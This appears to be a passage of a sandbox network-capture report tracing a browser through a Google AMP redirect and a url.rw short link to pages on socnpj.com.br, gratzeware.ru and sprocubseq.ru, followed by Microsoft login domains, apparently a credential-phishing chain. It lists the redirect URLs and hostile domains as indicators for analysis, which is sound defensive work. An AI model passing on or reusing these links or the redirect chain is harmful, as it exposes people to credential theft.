Jan 13, 2025 21:17:19.007774115 CET	192.168.2.4	1.1.1.1	0x47df	Standard query (0)	visaoxprodutora.com.br	65	IN (0x0001)	false
Jan 13, 2025 21:17:20.150376081 CET	192.168.2.4	1.1.1.1	0x889e	Standard query (0)	obz.bz	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:20.150633097 CET	192.168.2.4	1.1.1.1	0x7404	Standard query (0)	obz.bz	65	IN (0x0001)	false
Jan 13, 2025 21:17:20.161837101 CET	192.168.2.4	1.1.1.1	0x6aca	Standard query (0)	obz.bz	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:20.178097963 CET	192.168.2.4	1.1.1.1	0x3cd9	Standard query (0)	8zkl.gratzeware.ru	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:20.178322077 CET	192.168.2.4	1.1.1.1	0x7200	Standard query (0)	8zkl.gratzeware.ru	65	IN (0x0001)	false
Jan 13, 2025 21:17:20.295759916 CET	192.168.2.4	1.1.1.1	0xf806	Standard query (0)	visaoxprodutora.com.br	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:20.295881987 CET	192.168.2.4	1.1.1.1	0x42d6	Standard query (0)	visaoxprodutora.com.br	65	IN (0x0001)	false
Jan 13, 2025 21:17:22.288223028 CET	192.168.2.4	1.1.1.1	0x845f	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:22.288577080 CET	192.168.2.4	1.1.1.1	0xa2ef	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Jan 13, 2025 21:17:22.291358948 CET	192.168.2.4	1.1.1.1	0xa038	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:22.291498899 CET	192.168.2.4	1.1.1.1	0x134d	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 13, 2025 21:17:22.291826963 CET	192.168.2.4	1.1.1.1	0xec26	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:22.292097092 CET	192.168.2.4	1.1.1.1	0xb575	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Jan 13, 2025 21:17:23.075912952 CET	192.168.2.4	1.1.1.1	0x3c8a	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:23.076039076 CET	192.168.2.4	1.1.1.1	0x14aa	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Jan 13, 2025 21:17:23.101803064 CET	192.168.2.4	1.1.1.1	0xe518	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:23.101948977 CET	192.168.2.4	1.1.1.1	0xd627	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Jan 13, 2025 21:17:23.662410021 CET	192.168.2.4	1.1.1.1	0x730	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:23.662513018 CET	192.168.2.4	1.1.1.1	0xd1ed	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 13, 2025 21:17:23.679770947 CET	192.168.2.4	1.1.1.1	0x4871	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:23.679770947 CET	192.168.2.4	1.1.1.1	0xeb95	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 13, 2025 21:17:25.713594913 CET	192.168.2.4	1.1.1.1	0x6901	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:25.713756084 CET	192.168.2.4	1.1.1.1	0x4bff	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Jan 13, 2025 21:17:34.448319912 CET	192.168.2.4	1.1.1.1	0xdd02	Standard query (0)	ujqgyqodot2l3kjhgmdl2kve0si349y51vpck7h7q5ci0uotp0qkp.sprocubseq.ru	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:34.448446989 CET	192.168.2.4	1.1.1.1	0x7f30	Standard query (0)	ujqgyqodot2l3kjhgmdl2kve0si349y51vpck7h7q5ci0uotp0qkp.sprocubseq.ru	65	IN (0x0001)	false
Jan 13, 2025 21:17:35.128797054 CET	192.168.2.4	1.1.1.1	0x2df5	Standard query (0)	obz.bz	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:35.621006966 CET	192.168.2.4	1.1.1.1	0xac03	Standard query (0)	login.microsoftonline.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:35.621344090 CET	192.168.2.4	1.1.1.1	0x120e	Standard query (0)	login.microsoftonline.com	65	IN (0x0001)	false
Jan 13, 2025 21:17:35.640757084 CET	192.168.2.4	1.1.1.1	0x5efb	Standard query (0)	ujqgyqodot2l3kjhgmdl2kve0si349y51vpck7h7q5ci0uotp0qkp.sprocubseq.ru	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:35.640758038 CET	192.168.2.4	1.1.1.1	0x24fa	Standard query (0)	ujqgyqodot2l3kjhgmdl2kve0si349y51vpck7h7q5ci0uotp0qkp.sprocubseq.ru	65	IN (0x0001)	false
Jan 13, 2025 21:17:36.642796993 CET	192.168.2.4	1.1.1.1	0x9ac5	Standard query (0)	www.office.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:36.642961025 CET	192.168.2.4	1.1.1.1	0x8445	Standard query (0)	www.office.com	65	IN (0x0001)	false
Jan 13, 2025 21:17:38.667912960 CET	192.168.2.4	1.1.1.1	0xa24	Standard query (0)	www.office.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:38.668138981 CET	192.168.2.4	1.1.1.1	0xad1d	Standard query (0)	www.office.com	65	IN (0x0001)	false
Jan 13, 2025 21:17:39.738044024 CET	192.168.2.4	1.1.1.1	0x66f1	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:39.738209963 CET	192.168.2.4	1.1.1.1	0xfb53	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Jan 13, 2025 21:17:56.349298000 CET	192.168.2.4	1.1.1.1	0x34a6	Standard query (0)	login.microsoftonline.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:56.349463940 CET	192.168.2.4	1.1.1.1	0xfb9e	Standard query (0)	login.microsoftonline.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 13, 2025 21:17:02.101901054 CET	1.1.1.1	192.168.2.4	0xd7c4	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 13, 2025 21:17:02.102509975 CET	1.1.1.1	192.168.2.4	0xda06	No error (0)	www.google.com		216.58.206.68	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:03.755903959 CET	1.1.1.1	192.168.2.4	0xeaef	No error (0)	url.rw		188.166.2.160	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:04.383063078 CET	1.1.1.1	192.168.2.4	0xddf0	No error (0)	url.rw		188.166.2.160	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:06.227277994 CET	1.1.1.1	192.168.2.4	0x7692	No error (0)	socnpj.com.br		108.179.252.84	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:19.410486937 CET	1.1.1.1	192.168.2.4	0x7e08	No error (0)	visaoxprodutora.com.br		162.241.203.180	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:20.159090042 CET	1.1.1.1	192.168.2.4	0x889e	Name error (3)	obz.bz	none	none	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:20.161254883 CET	1.1.1.1	192.168.2.4	0x7404	Name error (3)	obz.bz	none	none	65	IN (0x0001)	false
Jan 13, 2025 21:17:20.171113014 CET	1.1.1.1	192.168.2.4	0x6aca	Name error (3)	obz.bz	none	none	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:20.271087885 CET	1.1.1.1	192.168.2.4	0x7200	No error (0)	8zkl.gratzeware.ru			65	IN (0x0001)	false
Jan 13, 2025 21:17:20.368383884 CET	1.1.1.1	192.168.2.4	0x3cd9	No error (0)	8zkl.gratzeware.ru		104.21.33.70	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:20.368383884 CET	1.1.1.1	192.168.2.4	0x3cd9	No error (0)	8zkl.gratzeware.ru		172.67.159.137	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:20.804044008 CET	1.1.1.1	192.168.2.4	0xf806	No error (0)	visaoxprodutora.com.br		162.241.203.180	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:22.295006037 CET	1.1.1.1	192.168.2.4	0x845f	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:22.295006037 CET	1.1.1.1	192.168.2.4	0x845f	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:22.295006037 CET	1.1.1.1	192.168.2.4	0x845f	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:22.295006037 CET	1.1.1.1	192.168.2.4	0x845f	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:22.298135996 CET	1.1.1.1	192.168.2.4	0x134d	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 13, 2025 21:17:22.298361063 CET	1.1.1.1	192.168.2.4	0xec26	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:22.298361063 CET	1.1.1.1	192.168.2.4	0xec26	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:22.298394918 CET	1.1.1.1	192.168.2.4	0xa038	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:22.298394918 CET	1.1.1.1	192.168.2.4	0xa038	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:22.298794985 CET	1.1.1.1	192.168.2.4	0xb575	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Jan 13, 2025 21:17:23.082986116 CET	1.1.1.1	192.168.2.4	0x14aa	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Jan 13, 2025 21:17:23.083348036 CET	1.1.1.1	192.168.2.4	0x3c8a	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:23.083348036 CET	1.1.1.1	192.168.2.4	0x3c8a	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:23.108431101 CET	1.1.1.1	192.168.2.4	0xe518	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:23.108431101 CET	1.1.1.1	192.168.2.4	0xe518	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:23.108431101 CET	1.1.1.1	192.168.2.4	0xe518	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:23.108431101 CET	1.1.1.1	192.168.2.4	0xe518	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:23.669398069 CET	1.1.1.1	192.168.2.4	0xd1ed	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 13, 2025 21:17:23.669433117 CET	1.1.1.1	192.168.2.4	0x730	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:23.669433117 CET	1.1.1.1	192.168.2.4	0x730	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:23.686527967 CET	1.1.1.1	192.168.2.4	0xeb95	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 13, 2025 21:17:23.686896086 CET	1.1.1.1	192.168.2.4	0x4871	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:23.686896086 CET	1.1.1.1	192.168.2.4	0x4871	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:25.720400095 CET	1.1.1.1	192.168.2.4	0x6901	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:34.527122974 CET	1.1.1.1	192.168.2.4	0xdd02	No error (0)	ujqgyqodot2l3kjhgmdl2kve0si349y51vpck7h7q5ci0uotp0qkp.sprocubseq.ru		172.67.195.229	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:34.527122974 CET	1.1.1.1	192.168.2.4	0xdd02	No error (0)	ujqgyqodot2l3kjhgmdl2kve0si349y51vpck7h7q5ci0uotp0qkp.sprocubseq.ru		104.21.60.111	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:34.641526937 CET	1.1.1.1	192.168.2.4	0x7f30	No error (0)	ujqgyqodot2l3kjhgmdl2kve0si349y51vpck7h7q5ci0uotp0qkp.sprocubseq.ru			65	IN (0x0001)	false
Jan 13, 2025 21:17:35.245964050 CET	1.1.1.1	192.168.2.4	0x2df5	Name error (3)	obz.bz	none	none	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:35.627902031 CET	1.1.1.1	192.168.2.4	0xac03	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 21:17:35.627953053 CET	1.1.1.1	192.168.2.4	0x120e	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 21:17:35.655112982 CET	1.1.1.1	192.168.2.4	0x24fa	No error (0)	ujqgyqodot2l3kjhgmdl2kve0si349y51vpck7h7q5ci0uotp0qkp.sprocubseq.ru			65	IN (0x0001)	false
Jan 13, 2025 21:17:35.759257078 CET	1.1.1.1	192.168.2.4	0x5efb	No error (0)	ujqgyqodot2l3kjhgmdl2kve0si349y51vpck7h7q5ci0uotp0qkp.sprocubseq.ru		172.67.195.229	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:35.759257078 CET	1.1.1.1	192.168.2.4	0x5efb	No error (0)	ujqgyqodot2l3kjhgmdl2kve0si349y51vpck7h7q5ci0uotp0qkp.sprocubseq.ru		104.21.60.111	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:36.649995089 CET	1.1.1.1	192.168.2.4	0x8445	No error (0)	www.office.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 21:17:36.649995089 CET	1.1.1.1	192.168.2.4	0x8445	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 21:17:36.651217937 CET	1.1.1.1	192.168.2.4	0x9ac5	No error (0)	www.office.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 21:17:36.651217937 CET	1.1.1.1	192.168.2.4	0x9ac5	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 21:17:37.763874054 CET	1.1.1.1	192.168.2.4	0x31ba	No error (0)	shed.dual-low.s-part-0016.t-0009.t-msedge.net	s-part-0016.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 21:17:37.763874054 CET	1.1.1.1	192.168.2.4	0x31ba	No error (0)	s-part-0016.t-0009.t-msedge.net		13.107.246.44	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:38.646706104 CET	1.1.1.1	192.168.2.4	0xf20b	No error (0)	shed.dual-low.s-part-0033.t-0009.t-msedge.net	s-part-0033.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 21:17:38.646706104 CET	1.1.1.1	192.168.2.4	0xf20b	No error (0)	s-part-0033.t-0009.t-msedge.net		13.107.246.61	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:38.675409079 CET	1.1.1.1	192.168.2.4	0xad1d	No error (0)	www.office.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 21:17:38.675409079 CET	1.1.1.1	192.168.2.4	0xad1d	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 21:17:38.676261902 CET	1.1.1.1	192.168.2.4	0xa24	No error (0)	www.office.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 21:17:38.676261902 CET	1.1.1.1	192.168.2.4	0xa24	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 21:17:39.745582104 CET	1.1.1.1	192.168.2.4	0x66f1	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 21:17:39.745582104 CET	1.1.1.1	192.168.2.4	0x66f1	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 21:17:39.745582104 CET	1.1.1.1	192.168.2.4	0x66f1	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:39.745712996 CET	1.1.1.1	192.168.2.4	0xfb53	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 21:17:39.745712996 CET	1.1.1.1	192.168.2.4	0xfb53	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 21:17:56.356440067 CET	1.1.1.1	192.168.2.4	0x34a6	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 21:17:56.356498957 CET	1.1.1.1	192.168.2.4	0xfb9e	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

www.google.com

url.rw

socnpj.com.br

https:

visaoxprodutora.com.br

8zkl.gratzeware.ru

cdnjs.cloudflare.com

challenges.cloudflare.com

code.jquery.com

ujqgyqodot2l3kjhgmdl2kve0si349y51vpck7h7q5ci0uotp0qkp.sprocubseq.ru

a.nel.cloudflare.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49742	188.166.2.160	80	5448	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Jan 13, 2025 21:17:03.763353109 CET	426	OUT	GET /6r6ns HTTP/1.1 Host: url.rw Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Jan 13, 2025 21:17:04.370992899 CET	557	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 13 Jan 2025 20:17:04 GMT Server: Apache/2.4.52 (Ubuntu) Location: https://url.rw/6r6ns Content-Length: 300 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 72 6c 2e 72 77 2f 36 72 36 6e 73 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 75 72 6c 2e 72 77 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://url.rw/6r6ns">here</a>.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at url.rw Port 80</address></body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49738	216.58.206.68	443	5448	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:17:03 UTC	810	OUT	GET /amp/url.rw/6r6ns HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:17:03 UTC	1220	IN	HTTP/1.1 302 Found Location: http://url.rw/6r6ns Cache-Control: private X-Robots-Tag: noindex Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-CQIkCJoZuPgUh6nd7SXWgg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Permissions-Policy: unload=() P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Date: Mon, 13 Jan 2025 20:17:03 GMT Server: gws Content-Length: 216 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: NID=520=WlzoXAL8BbyniKSaPuaR7C8CltCughf-hDwq23uq0TYMvRtFDiMfsqBOnGsCjpx1wMGYC4h3n36OmE7c-b6tJEdLmhu5tIA9ri8k88H3XqhlQeApofJ0chY0Vw96ShVI7BMThJMmcvXYsy8oynSSU9KHIB51xug7LiDw25-rofxy_lJBOfp5VF0ElFaJmh424ivj; expires=Tue, 15-Jul-2025 20:17:03 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-13 20:17:03 UTC	170	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="ht
2025-01-13 20:17:03 UTC	46	IN	Data Raw: 74 70 3a 2f 2f 75 72 6c 2e 72 77 2f 36 72 36 6e 73 22 3e 68 65 72 65 3c 2f 41 3e 2e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: tp://url.rw/6r6ns">here</A>.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49743	188.166.2.160	443	5448	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:17:05 UTC	654	OUT	GET /6r6ns HTTP/1.1 Host: url.rw Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:17:05 UTC	1197	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 13 Jan 2025 20:17:05 GMT Server: Apache/2.4.52 (Ubuntu) Location: https://socnpj.com.br/team-drive/Organization/privacy/index_.html Cache-Control: must-revalidate, no-cache, no-store, private Set-Cookie: XSRF-TOKEN=eyJpdiI6IjVLekUvNVVPZ1V1SjBKNytrbUl2Vnc9PSIsInZhbHVlIjoiVmdacnhBaUxnakFidnpHSXNjY2NXby8zaWV5b2k4L2dpREw0R3lyd0h5bTFaVWUxMGZFc3Y2eFRRb3I2WHpubEVUUEtNMFpVZ2w1bUtINVk4RmhwQzBNM0JQOCtXRDdvOFdpbGFqUjJSaFpEaE16TEpUUjdjNW5qZ1ZkejRka2MiLCJtYWMiOiJhZDU5ODUxMWYwNThlMzkxMjUyNmU4NmRhYTRkYTM1ZDcwMzJmMjNkNmNmNTJkZTJmODU2ZjYyZjEyNzk1OWE1IiwidGFnIjoiIn0%3D; expires=Mon, 13-Jan-2025 22:17:05 GMT; Max-Age=7200; path=/ Set-Cookie: urlrw_session=eyJpdiI6IjF5Q0VYcndZYlZWYWE1TTZ6SlVFYmc9PSIsInZhbHVlIjoiUk5XSjQ3RDJJMjE2ejJZVGNUQ01vSjhWTXZVK1YzM3F5Y3l3QUJJYmNsZXBGQmVPZk1nOWxoeThqdU5NOERNNm1GL0NmVllSdGRaMUdLSmJ1bVZoMTFXU2N5bDJFMnZPRXJMckVpMkRZS2ZVRXBPT0M2ajRVYVUzMmFqeDVpL1ciLCJtYWMiOiI2YmQzNzlkNzRjYzczNzY0OTI4MGI1YjAxMDhmMzQ5NGY4YjZjYjg4ZTZmZDAzOTFhOTkyNjBlOTMzODk5NDdjIiwidGFnIjoiIn0%3D; expires=Mon, 13-Jan-2025 22:17:05 GMT; Max-Age=7200; path=/; httponly Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
